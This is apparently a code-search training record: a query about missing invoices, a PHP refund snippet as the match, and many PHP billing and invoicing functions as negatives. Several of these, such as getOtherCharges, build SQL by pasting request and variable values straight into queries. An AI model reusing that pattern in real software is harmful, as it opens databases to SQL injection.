[ "0.74850124", "0.73803526", "0.7154113", "0.71401674", "0.70629025", "0.703232", "0.69285315", "0.69285315", "0.6925706", "0.6902751", "0.6894916", "0.6894916", "0.68900806", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424", "0.68698424" ]
0.0
-1
weakness: what if there are no invoices, no charges?
public function go(User $employee = NULL, User $buyer = NULL) { $refund = $this->psi->createRefund($employee->managed_account_id, $buyer->id); return $refund; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function no_items() {\r\n\t\t_e( 'No customers avaliable.', 'ac' );\r\n\t}", "public function getOtherCharges() { \n \n $result = 0;\n $purchaseIds = !empty($_GET['purchaseIds']) ? $_GET['purchaseIds'] : '';\n $purchaseData = DB::select('SELECT * FROM purchase_master WHERE is_deleted_status = \"N\" AND id = '.$purchaseIds.'');\n if (!empty($purchaseData)) {\n $otherCharges = !empty($purchaseData[0]->other_charges) ? $purchaseData[0]->other_charges : '0.00'; \n echo $otherCharges;\n }\n\n }", "public function collect(\\Magento\\Sales\\Model\\Order\\Invoice $invoice)\n {\n $order = $invoice->getOrder();\n\n /**\n * Wrapping for items\n */\n $invoiced = 0;\n $baseInvoiced = 0;\n foreach ($invoice->getAllItems() as $invoiceItem) {\n if (!$invoiceItem->getQty() || $invoiceItem->getQty() == 0) {\n continue;\n }\n $orderItem = $invoiceItem->getOrderItem();\n if ($orderItem->getGwId() &&\n $orderItem->getGwBasePrice() &&\n $orderItem->getGwBasePrice() != $orderItem->getGwBasePriceInvoiced()\n ) {\n $orderItem->setGwBasePriceInvoiced($orderItem->getGwBasePrice());\n $orderItem->setGwPriceInvoiced($orderItem->getGwPrice());\n $baseInvoiced += $orderItem->getGwBasePrice() * $invoiceItem->getQty();\n $invoiced += $orderItem->getGwPrice() * $invoiceItem->getQty();\n }\n }\n if ($invoiced > 0 || $baseInvoiced > 0) {\n $order->setGwItemsBasePriceInvoiced($order->getGwItemsBasePriceInvoiced() + $baseInvoiced);\n $order->setGwItemsPriceInvoiced($order->getGwItemsPriceInvoiced() + $invoiced);\n $invoice->setGwItemsBasePrice($baseInvoiced);\n $invoice->setGwItemsPrice($invoiced);\n }\n\n /**\n * Wrapping for order\n */\n if ($order->getGwId() &&\n $order->getGwBasePrice() &&\n $order->getGwBasePrice() != $order->getGwBasePriceInvoiced()\n ) {\n $order->setGwBasePriceInvoiced($order->getGwBasePrice());\n $order->setGwPriceInvoiced($order->getGwPrice());\n $invoice->setGwBasePrice($order->getGwBasePrice());\n $invoice->setGwPrice($order->getGwPrice());\n }\n\n /**\n * Printed card\n */\n if ($order->getGwAddCard() &&\n $order->getGwCardBasePrice() &&\n $order->getGwCardBasePrice() != $order->getGwCardBasePriceInvoiced()\n ) {\n $order->setGwCardBasePriceInvoiced($order->getGwCardBasePrice());\n $order->setGwCardPriceInvoiced($order->getGwCardPrice());\n $invoice->setGwCardBasePrice($order->getGwCardBasePrice());\n $invoice->setGwCardPrice($order->getGwCardPrice());\n }\n\n $invoice->setBaseGrandTotal(\n $invoice->getBaseGrandTotal() +\n $invoice->getGwItemsBasePrice() +\n $invoice->getGwBasePrice() +\n $invoice->getGwCardBasePrice()\n );\n $invoice->setGrandTotal(\n $invoice->getGrandTotal() +\n $invoice->getGwItemsPrice() +\n $invoice->getGwPrice() +\n $invoice->getGwCardPrice()\n );\n return $this;\n }", "public function invoices() {\t\t\r\n\t\t\r\n $user = $this->session->userdata('user');\r\n if ($user['UserType'] == 'TYPE_CLI' && empty($user['AccountantAccess'])) {\r\n //setRedirect(site_url());\r\n } else {\r\n if (isset($_GET['clientID'])) {\r\n checkUserAccess(array('TYPE_ACC', 'TYPE_CLI'));\r\n } else {\r\n checkUserAccess(array('TYPE_CLI'));\r\n }\r\n }\r\n\t\t\r\n\t\t$page = ($this->uri->segment(2)) ? $this->uri->segment(2) : 0;\r\n $user = $this->session->userdata('user');\t\r\n\t\t$VATYear = $this->session->userdata('VATYear');\r\n\t\t$quaters = vatQuaters($user['Params']['VATQuaters']);\r\n\t\t\t\t\r\n /* \tGet the customer list of the company. */\r\n $data['users'] = $this->clients->getUserList();\r\n\r\n $items = $this->clients->getInvoiceList(INVOICE_PAGINATION_LIMIT, $page);\r\n $data['Invoices'] = $items;\r\n //pr($data['Invoices']);\r\n $PaidVatQuarters = $this->clients->getPaidVatQuarters();\r\n\t\t$VATitems = $this->clients->getAllInvoices();\r\n $vat_listing = $this->clients->getVatType();\r\n\t\t\r\n $data['EXPitems'] = false;\r\n if($vat_listing->Type != 'flat') {\r\n $this->load->model('clients/expense');\r\n $EXPitems = $this->expense->getAllExpenses();\r\n $data['EXPitems'] = $EXPitems;\r\n }\r\n //echo '<pre>';print_r($PaidVatQuarters);echo '</pre>';die();\r\n\t\t//echo '<pre>';print_r($VATitems);echo '</pre>';//die();\r\n $data['VATitems'] = $VATitems;\r\n $data['PaidVatQuarters'] = $PaidVatQuarters;\r\n\r\n $total = $this->clients->totalInvoices();\t\t\r\n $data['pagination'] = $this->getPagination('invoices', INVOICE_PAGINATION_LIMIT, $total);\r\n if ($data['users'] == FALSE) {\r\n $data['users'] = array('0' => 'No users');\r\n }\r\n\r\n $data['vat_listing'] = $vat_listing;\r\n $data['page'] = 'invoices';\r\n $data['title'] = 'Cashman | Invoices';\r\n $this->load->view('client/invoices/default', $data);\r\n }", "public function charges();", "public function testCustomerInvoicesV2Get0()\n {\n }", "public function tellNotEnoughMoneyInAccount()\n {\n }", "public function testBillingInvoices()\n {\n }", "function public_payment_info() {\n if (!$this->request->isAsyncCall()) {\n $this->response->badRequest();\n } // if\n if ($this->active_invoice->isNew()) {\n $this->response->notFound();\n } // if\n\n }", "public function hasInvoiceItems(): bool\n {\n return ($this->invoices()->count() !== 0) ? true : false;\n }", "public function isInvoiced() {\n\t\treturn true;\n\t}", "public function getInvoices(Request $request)\n {\n $account_balance = $this->recurlyService->getAccountBalance($request->user());\n $past_due = 0;\n $user_identifier = Auth::user()->user_identifier;\n $recurlyInvoices = $this->recurlyService->getInvoicesForAccount($user_identifier);\n\n $invoices = [];\n foreach($recurlyInvoices as $invoice) {\n if ($invoice->state != 'collected' && $invoice->state != 'failed') {\n $past_due = $past_due + $invoice->total_in_cents;\n }\n $invoices[$invoice->invoice_number]['invoice_number'] = $invoice->invoice_number;\n $count = count($invoice->line_items);\n $invoices[$invoice->invoice_number]['description'] = isset($invoice->line_items[$count-1]) ? $invoice->line_items[$count-1]->description : null;\n if (is_null($invoices[$invoice->invoice_number]['description'])) $invoices[$invoice->invoice_number]['description'] = $invoice->line_items[0]->description;\n if ($invoice->subscription) {\n $href = $invoice->subscription->getHref();\n $subscription_id = substr($href, strrpos($href, '/')+1);\n $invoices[$invoice->invoice_number]['subscription_id'] = $subscription_id;\n } else {\n $invoices[$invoice->invoice_number]['subscription_id'] = '';\n }\n $invoices[$invoice->invoice_number]['created_at'] = $invoice->created_at ? $invoice->created_at->format('M d Y') : null;\n $invoices[$invoice->invoice_number]['closed_at'] = $invoice->closed_at ? $invoice->closed_at->format('M d Y') : null;\n $invoices[$invoice->invoice_number]['state'] = $invoice->state;\n $invoices[$invoice->invoice_number]['total_in_cents'] = number_format($invoice->total_in_cents / 100, 2, '.', '');\n $invoices[$invoice->invoice_number]['value'] = $invoice->total_in_cents;\n }\n $credit_value = $account_balance + $past_due;\n $selected_uuid = $request->get('uuid');\n return view('billing.invoices', ['invoices'=>$invoices, 'selected_uuid'=>$selected_uuid, 'credit_value'=>$credit_value/100, 'past_due'=>$past_due]);\n }", "public function testCustomerInvoicesV2Post0()\n {\n }", "function dispatch_licenses(){\n\t\n//1get all unfinished orders which are paid\n//2fetch all available licences\n\n//if 1 > 0 \n\t//loop for (unfinished orders)\n \t\t//compare ordered product id with available licences\n\t\t//if available\n\t\t\t//fetch email of buyer + send email + add buyer to database\n\t\t//else \n\t\t\t//mail not available to admin\n\t//loop end\n\t\n}", "public function createInvoice()\r\n {\r\n }", "function no_items() {\n\t\t_e( 'No used voucher codes yet.', 'woovoucher' );\n\t}", "public function no_items() {\n\t\t_e( 'No Transactions Found.', 'sp' );\n\t}", "public function getTotalInvoiced();", "public function getSubtotalInvoiced();", "public function getCharges();", "public function invoicedBillInvoice($task_id){\n \t$mainTotal=0;\n \t$sql=\"SELECT tbl_tasks_units_billing.* FROM tbl_tasks_units_billing\n\t\t\t INNER JOIN tbl_tasks_units ON tbl_tasks_units.id = tbl_tasks_units_billing.tasks_unit_id\n\t\t\t INNER JOIN tbl_task_instruct_servicetask ON tbl_task_instruct_servicetask.id = tbl_tasks_units.task_instruct_servicetask_id\n \t\t INNER JOIN tbl_tasks ON tbl_tasks.id=tbl_task_instruct_servicetask.task_id\n \t\t INNER JOIN tbl_client_case ON tbl_client_case.id = tbl_tasks.client_case_id\n \t\t INNER JOIN tbl_client ON tbl_client.id = tbl_client_case.client_id\n \t\t INNER JOIN tbl_servicetask ON tbl_servicetask.id = tbl_task_instruct_servicetask.servicetask_id AND (tbl_servicetask.billable_item = 1 OR tbl_servicetask.billable_item = 2) AND tbl_client_case.is_close = 0\n \t\t WHERE\";\n \t$order = \" ORDER BY tbl_client.client_name asc,tbl_client_case.case_name asc\";\n \t$where = \" (tbl_tasks.id IN ($task_id)) AND (tbl_tasks_units_billing.invoiced = '1')\";\n\n \t$mainSql = $sql.$where.$order;\n \t$taskunitbillingdata = TasksUnitsBilling::findBySql($mainSql)->all();\n\n \tif(!empty($taskunitbillingdata)){\n \t\tforeach($taskunitbillingdata as $taskey1 => $taskval1){\n\t\t\t\t$billing_final_invoiced = InvoiceFinalBilling::find()->where(['billing_unit_id'=>$taskval1->id])->all();\n \t\t\tif(!empty($billing_final_invoiced)){\n \t\t\t\tforeach ($billing_final_invoiced as $billingfinalinvoiced){\n\t\t\t\t\t\t$mainTotal = $mainTotal + ($billingfinalinvoiced->final_rate * $taskval1->quantity);\n \t\t\t\t}\n \t\t\t}\n \t\t}\n \t}\n \treturn $mainTotal;\n }", "public function __tallyUpInvoice() {\n\n $this->__itemTotals();\n\n $subTotal = $this->__subtotal($this->request->data['items']);\n\n //$taxTotal = $this->__tax($subTotal, $this->request->data['Invoice']['taxRate']);\n\n //$taxTotal = $this->__tax($this->request->data['items']);\n\n //$this->request->data['total'] = $subTotal + $taxTotal;\n $this->request->data['total'] = $subTotal;\n\n //$this->request->data['subTotal'] = $subTotal;\n\n //$this->request->data['taxTotal'] = $taxTotal;\n\n return true;\n }", "function client_have_transactions($id)\n{\n $total_transactions = 0;\n $total_transactions += total_rows('tblinvoices', array(\n 'clientid' => $id\n ));\n $total_transactions += total_rows('tblestimates', array(\n 'clientid' => $id\n ));\n $total_transactions += total_rows('tblexpenses', array(\n 'clientid' => $id,\n 'billable' => 1\n ));\n $total_transactions += total_rows('tblproposals', array(\n 'rel_id' => $id,\n 'rel_type' => 'client'\n ));\n\n if ($total_transactions > 0) {\n return true;\n }\n\n return false;\n}", "public function testNotPaid()\n {\n $this->browse(function (Browser $browser) {\n $bill = Bill::factory()->create([\n 'contract_id' => $this->contract->id,\n 'requisite_id' => $this->requisite->id,\n 'tenant_id' => $this->tenant->id,\n ]);\n $service = $bill->services()->save(Service::factory()->make([\n 'name' => 'Rent',\n 'quantity' => '2',\n 'measure' => 'pc',\n 'price' => '1234'\n ]));\n\n $browser->loginAs($this->user)\n ->visit('/tenants/'.$this->tenant->id.'?tab=bills#tab')\n ->press('Оплатить')\n ->assertSee('Недостаточно средств');\n });\n }", "function check_requirements()\n\t{\n\t\t$sql_obj\t\t= New sql_query;\n\t\t$sql_obj->string\t= \"SELECT id FROM account_ap WHERE id='\". $this->id .\"' LIMIT 1\";\n\t\t$sql_obj->execute();\n\n\t\tif (!$sql_obj->num_rows())\n\t\t{\n\t\t\tlog_write(\"error\", \"page_output\", \"The requested invoice (\". $this->id .\") does not exist - possibly the invoice has been deleted.\");\n\t\t\treturn 0;\n\t\t}\n\n\t\tunset($sql_obj);\n\n\n\t\treturn 1;\n\t}", "function kv_get_recurrent_invoices($date = null)\n{\n // last_sent stores end date of last generated invoice _plus_ 1 (or is empty)\n if ($date) {\n $date = date2sql($date);\n // we can issue invoice after or at last day of covered period\n $sql = \"SELECT *, DATE_ADD(DATE_ADD(IF(`last_sent`='0000-00-00', `begin`, `last_sent`), INTERVAL `monthly` MONTH), INTERVAL `days` DAY) <= '$date'\n AND last_sent < DATE_ADD(`end`, INTERVAL 1 DAY) as overdue\";\n } else\n $sql = \"SELECT * \";\n\n $sql .= \" FROM \" . TB_PREF . \"recurrent_invoices ORDER BY description, group_no, debtor_no\";\n\n return db_query($sql, \"could not get recurrent invoices\");\n}", "public function getDiscountInvoiced();", "public function getForcedShipmentWithInvoice();", "function openstack_change_funds($invoiceid, $substract=False) {\n $items = Capsule::table('tblinvoiceitems')->where('invoiceid', '=', $invoiceid)->get();\n\n // Retrieve the invoice total paid.\n // If this invoice was not fully paid, we do not substract from Fleio.\n // There is no other way to prevent subtracting from Fleio when cancelling an invoice and marking it unpaid afterwards\n try {\n $balance = Capsule::table('tblaccounts as ta')\n ->where('ta.invoiceid', '=', $invoiceid)\n ->join('tblinvoices as ti', 'ta.invoiceid', '=', 'ti.id')\n ->select(Capsule::raw('SUM(ta.amountin)-SUM(ta.amountout)-ti.total as balance'))\n ->value('balance');\n } catch (Exception $e) {\n logActivity($e->getMessage());\n $balance = false;\n } \n $cost_by_service = array();\n $promo_by_service = array();\n foreach($items as $item) {\n # NOTE(tomo): Check if relid is set and not an empty string\n if (($item->relid == '') || !isset($item->relid)) {\n continue;\n }\n if ($item->type == 'PromoHosting') {\n # NOTE(tomo): Do nothing with $promo_by_service. Just don't add it\n # to the final amount to avoid incorrect credit addition in Fleio\n if (isset($promo_by_service[$item->relid])) {\n $promo_by_service[$item->relid] += $item->amount;\n } else {\n $promo_by_service[$item->relid] = $item->amount;\n }\n } else {\n if (isset($cost_by_service[$item->relid])) {\n $cost_by_service[$item->relid] += $item->amount;\n } else {\n $cost_by_service[$item->relid] = $item->amount;\n }\n }\n }\n\n foreach($items as $item) {\n if (($item->type != 'Hosting') || !isset($cost_by_service[$item->relid])) {\n continue;\n }\n # We now know that relid is a Hosting package (not a Domain for example)\n $service = FleioUtils::getServiceById($item->relid);\n if ($service->servertype == 'fleio') {\n # NOTE(tomo): Make sure the service is active. If it's not active and we don't handle this, the credit is lost.\n # NOTE(tomo): We currently handle this in the add/remove credit methods.\n $clientCurrency = getCurrency($item->userid);\n $defaultCurrency = getCurrency();\n $clientAmount = $cost_by_service[$item->relid]; // Amount + Setup and/or other related prices in client's currency\n # NOTE(tomo): Fleio needs to use the WHMCS default currency\n $amount = convertCurrency($clientAmount, 1, $clientCurrency['id']); // Amount in default currency.\n if ($amount == 0) {\n logActivity('Fleio: ignoring Service ID: '. $item->relid . ' with cost equal to 0 from Invoice ID: ' . $invoiceid);\n continue;\n }\n if ($substract && $balance != false && $balance >= 0) {\n logActivity('Fleio: ignoring Service ID: '. $item->relid .' from Invoice ID: ' . $invoiceid . ' with status Unpaid but fully paid');\n continue;\n }\n $fl = Fleio::fromServiceId($item->relid);\n if ($substract) {\n $msg_format = \"Fleio: removing credit for WHMCS User ID: %s with %.02f %s (%.02f %s from Invoice ID: %s)\";\n } else {\n $msg_format = \"Fleio: adding credit for WHMCS User ID: %s with %.02f %s (%.02f %s from Invoice ID: %s)\";\n }\n $msg = sprintf($msg_format, $item->userid, $amount, $defaultCurrency[\"code\"], $clientAmount, $clientCurrency[\"code\"], $invoiceid);\n logActivity($msg);\n # TODO(tomo): We use the userid which can be a contact ?\n try {\n $addCredit = (!$subtract); // Add credit or subtract, boolean\n $response = $fl->clientChangeCredit($addCredit, $amount, $defaultCurrency[\"code\"], $clientCurrency[\"rate\"], $clientAmount, $clientCurrency[\"code\"], $invoiceid);\n } catch (FlApiException $e) {\n logActivity(\"Unable to update the client credit in Fleio: \" . $e->getMessage()); \n return;\n }\n logActivity(\"Fleio: successfully changed client credit with \".$amount.\" \".$defaultCurrency[\"code\"]. \" for Fleio client id: \".$response['client'].\". New Fleio balance: \".$response['credit_balance'].\" \".$defaultCurrency[\"code\"]); \n }\n }\n}", "public function invoices(Request $request)\n {\n $user = $request->user();\n $currentCompany = $user->currentCompany();\n \n $invoices = Invoice::findByCompany($currentCompany->id)\n ->findByCustomer($request->customer_id)\n ->unpaid()\n ->where('due_amount', '>', 0)\n ->select('id', 'invoice_number AS text', 'due_amount')\n ->get();\n\n return response()->json($invoices);\n }", "public function realInvoice()\n {\n $invoice = Invoice::first();\n\n if (!$invoice) {\n return response()->json([\n 'error' => 'Please run php artisan db:seed to fake some invoices.'\n ]);\n }\n\n $response = Simulate::request($invoice->amount)\n ->from(254708374149)\n ->usingReference($invoice->number)\n ->setCommand(CUSTOMER_PAYBILL_ONLINE)\n ->push();\n\n return response()->json([\n 'response' => $response,\n 'next' => 'Please check your ngrok endpoints and validate that BOTH the validate and confirm endpoint will be called. Also check the Transactions table.'\n ]);\n }", "public function getBaseTotalInvoiced();", "public function pendingBillInvoice($task_id)\n {\n \t$mainTotal=0;\n \t$sql=\" SELECT tbl_tasks_units_billing.* FROM tbl_tasks_units_billing\n\t\t\t INNER JOIN tbl_tasks_units ON tbl_tasks_units.id = tbl_tasks_units_billing.tasks_unit_id\n\t\t\t INNER JOIN tbl_task_instruct ON tbl_task_instruct.id = tbl_tasks_units.task_instruct_id\n\t\t\t INNER JOIN tbl_task_instruct_servicetask ON tbl_task_instruct_servicetask.id = tbl_tasks_units.task_instruct_servicetask_id\n \t\t INNER JOIN tbl_tasks ON tbl_tasks.id=tbl_task_instruct_servicetask.task_id\n \t\t INNER JOIN tbl_client_case ON tbl_client_case.id = tbl_tasks.client_case_id\n \t\t INNER JOIN tbl_client ON tbl_client.id = tbl_client_case.client_id\n \t\t INNER JOIN tbl_servicetask ON tbl_servicetask.id = tbl_task_instruct_servicetask.servicetask_id AND (tbl_servicetask.billable_item = 1 OR tbl_servicetask.billable_item = 2) AND tbl_client_case.is_close = 0\n \t\t WHERE\";\n \t$where = \" (tbl_tasks.id IN ($task_id)) AND (tbl_tasks_units_billing.invoiced IS NULL OR tbl_tasks_units_billing.invoiced = '')\";\n \t$order = \" ORDER BY tbl_client.client_name asc,tbl_client_case.case_name asc\";\n \t$mainSql = $sql.$where.$order;\n $taskunitbillingdata = TasksUnitsBilling::findBySql($mainSql)->all();\n \t//echo \"<pre>\"; print_r($taskunitbillingdata); exit;\n \t$taskunitbillingdata1 = array();\n \t$pprate2=array();\n \t$casearr=array();\n \tif(!empty($taskunitbillingdata)){\n foreach($taskunitbillingdata as $taskey1 => $taskval1){\n \t\t/*if((new TasksUnitsBilling)->checkpricingforrate2($taskval1->tasks->client_id,$taskval1->tasks->client_case_id,$taskval1->pricing_id,$taskval1->quantity))\n \t\t\t$pprate2[$taskval1->pricing_id] = $taskval1->pricing_id;*/\n \t\t$istemprate=0;\n \t\tif(isset($taskval1->temp_rate) && $taskval1->temp_rate!='') {\n \t\t\t$istemprate=1;\n \t\t\t$rate = $taskval1->temp_rate;\n \t\t\tif($taskval1->temp_discount!='') {\n\t\t\t\t\t$frate = $rate - ($rate*$taskval1->temp_discount/100);\n\t\t\t\t\t$finalrate = $rate;\n \t\t\t} else {\n\t\t\t\t \t$frate = $rate;\n\t\t\t\t\t$finalrate = $rate;\n \t\t\t}\n \t\t}else{\n \t\t\t$rate = (new TasksUnitsBilling)->checkpricingforrate($taskval1->tasksUnits->taskInstruct->tasks->clientCase->client_id,$taskval1->tasksUnits->taskInstruct->tasks->client_case_id,$taskval1->pricing_id,$taskval1->quantity,\"\",$taskval1->tasksUnits->team_loc);\n \t\t\tif($taskval1->temp_discount!='') {\n \t\t\t\t$frate = $rate - ($rate*$taskval1->temp_discount/100);\n \t\t\t\t$finalrate = $rate;\n \t\t\t} else {\n \t\t\t\t$frate = $rate;\n \t\t\t\t$finalrate = $rate;\n \t\t\t}\n \t\t}\n\n \t\t$taskunitbillingdata1[$taskval1->tasksUnits->taskInstruct->tasks->clientCase->client_id][$taskval1->tasksUnits->taskInstruct->tasks->client_case_id][] = array(\n\t\t\t\t'client_case_id' => $taskval1->tasksUnits->taskInstruct->tasks->client_case_id,\n\t\t\t\t'servicetask_id' => $taskval1->tasksUnits->taskInstructServicetask,\n\t\t\t\t'price_point' => $taskval1->pricing->price_point,\n\t\t\t\t'price_pointid'=> $taskval1->pricing_id,\n\t\t\t\t'project_id' => $taskval1->tasksUnits->task_id,\n\t\t\t\t'id' => $taskval1->id,\n\t\t\t\t'loc'=> $taskval1->tasksUnits->team_loc,\n\t\t\t\t'unit_price_id' => $taskval1->pricing->unit_price_id,\n\t\t\t\t'tasks_unit_id' => $taskval1->tasks_unit_id,\n\t\t\t\t'created'=>$taskval1->created,\n\t\t\t\t'invoiced'=>$taskval1->invoiced,\n\t\t\t\t'desc'=>$taskval1->billing_desc,\n\t\t\t\t'unit_id'=>$taskval1->quantity,\n\t\t\t\t'rate'=>$frate,\n\t\t\t\t'istemprate'=>$istemprate,\n\t\t\t\t'subtotal'=>$frate * $taskval1->quantity,\n\t\t\t\t'setdelete'=>$setdelete,\n\t\t\t\t'discount'=>$taskval1->temp_discount,\n\t\t\t\t'discount_reason'=>$taskval1->temp_discount_reason,\n\t\t\t\t'internal_ref_no_id'=>$taskval1->internal_ref_no_id\n\t\t\t);\n\t\t}\n\t}\n\n /* Start : If Range PP then rate will be on the bases of total of all same unit along with same pricepoint of same location */\n $pricepointLocwisetotal = array();\n $revisedArray=array();\n if (!empty($taskunitbillingdata1)) {\n \tforeach ($taskunitbillingdata1 as $keysclient => $values){\n \t\tforeach ($values as $keyscase => $values1){\n\t \t\tforeach ($values1 as $k => $value){\n\t\t \t\tif(is_numeric($k))\n\t\t \t\t{\n\t\t \t\t\tif($value['invoiced'] != 2 && $value['istemprate']!=1)\n\t\t \t\t\t$pricepointLocwisetotal[$keysclient][$keyscase][$value['price_pointid']][$value['loc']][$value['unit_price_id']]['unit_total'] += $value['unit_id'];\n\t \t\t\t}\n \t\t\t}\n \t\t}\n \t}\n \t//echo \"<pre>\",print_r($pricepointLocwisetotal),\"<pre>\";\n \tforeach ($taskunitbillingdata1 as $keysclient => $values){\n \t\tforeach ($values as $keyscase => $values1){\n\t \t\tforeach ($values1 as $k => $value){\n\t\t \t\tif(is_numeric($k))\n\t\t \t\t{\n\t\t \t\t\tif(isset($pricepointLocwisetotal[$keysclient][$keyscase][$value['price_pointid']][$value['loc']][$value['unit_price_id']]['unit_total']))\n\t\t \t\t\t{\n\t\t\t \t\t\tif ($value['istemprate'] != 1) {\n\t\t\t \t\t\t\t$quantity = $pricepointLocwisetotal[$keysclient][$keyscase][$value['price_pointid']][$value['loc']][$value['unit_price_id']]['unit_total'];\n\t\t\t\t\t $rate = (new TasksUnitsBilling)->checkpricingforrate($keysclient, $keyscase, $value['price_pointid'], $quantity ,\"\",$value['loc']);\n\t\t\t\t\t if ($value['discount'] != '') {\n\t\t\t\t\t $frate = $rate - ($rate * $value['discount'] / 100);\n\t\t\t\t\t $finalrate = $rate;\n\t\t\t\t\t } else {\n\t\t\t\t\t $frate = $rate;\n\t\t\t\t\t $finalrate = $rate;\n\t\t\t\t\t }\n\n\t\t\t\t\t $taskunitbillingdata1[$keysclient][$keyscase][$k]['rate'] = $frate;\n\t\t \t\t\t\t\t$taskunitbillingdata1[$keysclient][$keyscase][$k]['subtotal'] = $frate * $value['unit_id'];\n\t\t\t\t\t }\n\t\t \t\t\t}\n\t \t\t\t}\n\t \t\t}\n \t\t}\n \t}\n }\n // echo \"<pre>\",print_r($taskunitbillingdata1),\"</pre>\";die;\n\t // echo \"<pre>\",print_r($taskunitbillingdata1),\"</pre>\";die;\n \t/* End : If Range PP then rate will be on the bases of total of all same unit along with same pricepoint of same location */\n \tforeach ($taskunitbillingdata1 as $key => $val)\n \t{\n $total = 0;\n $cnt = 0;\n $setdeletetotal = 0;\n $taskdiscount = 0;\n foreach ($val as $ckey => $cval) {\n \tforeach ($cval as $kkey => $kval) {\n \tif($kval['invoiced']!=2){\n\t \t$total += $kval['subtotal'];\n \t}\n\t }\n }\n $mainTotal =$mainTotal +$total;\n }\n \treturn $mainTotal;\n }", "function updateInvoicingPayments() {\n try {\n if(DB::executeFirstCell(\"SELECT COUNT(*) AS count FROM \" . TABLE_PREFIX . \"modules WHERE name='invoicing'\")) {\n try {\n $invoices_table = TABLE_PREFIX . 'invoices';\n $invoice_payments_table = TABLE_PREFIX . 'invoice_payments';\n $payments_table = TABLE_PREFIX . 'payments';\n\n DB::beginWork('Moving payments @ ' . __CLASS__);\n\n $rows = DB::execute(\"SELECT id, currency_id FROM $invoices_table\");\n if($rows) {\n $currencies_map = array();\n\n foreach($rows as $row) {\n $currencies_map[(integer) $row['id']] = (integer) $row['currency_id'];\n } // foreach\n } else {\n $currencies_map = null;\n } // if\n\n if(is_foreachable($currencies_map)) {\n $rows = DB::execute(\"SELECT * FROM $invoice_payments_table ORDER BY created_on\");\n if($rows) {\n foreach($rows as $row) {\n $currency_id = isset($currencies_map[$row['invoice_id']]) ? (integer) $currencies_map[$row['invoice_id']] : 0;\n\n DB::execute(\"INSERT INTO $payments_table (type, parent_type, parent_id, amount, currency_id, gateway_type, comment, status, created_by_id, created_by_name, created_by_email, created_on, paid_on) VALUES ('CustomPayment', 'Invoice', ?, ?, ?, 'CustomPaymentGateway', ?, 'Paid', ?, ?, ?, ?, ?)\", $row['invoice_id'], $row['amount'], $currency_id, $row['comment'], $row['created_by_id'], $row['created_by_name'], $row['created_by_email'], $row['created_on'], $row['created_on']);\n } // foreach\n } // if\n } // if\n\n DB::commit('Payments moved @ ' . __CLASS__);\n\n DB::execute(\"DROP TABLE $invoice_payments_table\");\n } catch(Exception $e) {\n DB::rollback('Failed to move payments @ ' . __CLASS__);\n return $e->getMessage();\n } // try\n\n } // if\n } catch(Exception $e) {\n return $e->getMessage();\n } // try\n\n return true;\n }", "function do_pr_invoice($data){\n\t$client_id=$data['Clientpayment']['client_id'];\n\t$amount=$data['Clientpayment']['amount'];\n\t$invoice_number=$data['Clientpayment']['invoice_number'];\n \t$list=$this->query(\"select invoice_id, total_amount from invoice where invoice_number='$invoice_number' limit 1;\");\n \t$invoice_amount=isset($list[0][0]['total_amount'])?$list[0][0]['total_amount']:0;\n \t#付清\n \tif($invoice_amount<$amount){\n\t\t\t$this->paid_true_invoice($data,$invoice_amount);\n \t}\n \tif($invoice_amount<$amount)\n \t{\n \t#未付清\n\t\t$this->paid_false_invoice($data,$invoice_number,$invoice_amount);\n \t}\n\t \tif($invoice_amount==$amount)\n \t{\n \t\n \t#刚刚付清\n \t$this->do_pay_for_invoice($data);\n\t$this->query(\"update invoice set paid=true,pay_amount=pay_amount::numeric+$invoice_amount where invoice_number='$invoice_number'\");\n \t\n \t}\n \t$this->commit();\n\t}", "public function getInvoiceOrder();", "public function getShippingInvoiced();", "function createInvoicingTables() {\n try {\n $engine = defined('DB_CAN_TRANSACT') && DB_CAN_TRANSACT ? 'InnoDB' : 'MyISAM';\n\n $invoice_objects_table = TABLE_PREFIX . 'invoice_objects';\n $invoice_object_items_table = TABLE_PREFIX . 'invoice_object_items';\n\n // create invoice objects table\n DB::execute(\"CREATE TABLE $invoice_objects_table (\n id int unsigned NOT NULL auto_increment,\n type varchar(50) NOT NULL DEFAULT 'InvoiceObject',\n company_id int(5) unsigned NOT NULL DEFAULT 0,\n company_name varchar(150) DEFAULT NULL,\n company_address text ,\n currency_id int(4) NOT NULL DEFAULT 0,\n language_id int(3) NOT NULL DEFAULT 0,\n project_id int(5) unsigned NULL DEFAULT NULL,\n name varchar(150) DEFAULT NULL,\n subtotal decimal(13, 3) NOT NULL DEFAULT 0,\n tax decimal(13, 3) NOT NULL DEFAULT 0,\n total decimal(13, 3) NOT NULL DEFAULT 0,\n balance_due decimal(13, 3) NOT NULL DEFAULT 0,\n paid_amount decimal(13, 3) NOT NULL DEFAULT 0,\n note text ,\n private_note varchar(255) DEFAULT NULL,\n status int(4) NOT NULL DEFAULT 0,\n based_on_type varchar(50) DEFAULT NULL,\n based_on_id int(10) unsigned NULL DEFAULT NULL,\n allow_payments tinyint(3) NULL DEFAULT NULL,\n second_tax_is_enabled tinyint(1) unsigned NOT NULL DEFAULT '0',\n second_tax_is_compound tinyint(1) unsigned NOT NULL DEFAULT '0',\n state tinyint(3) unsigned NOT NULL DEFAULT 0,\n original_state tinyint(3) unsigned NULL DEFAULT NULL,\n visibility tinyint(3) unsigned NOT NULL DEFAULT 0,\n 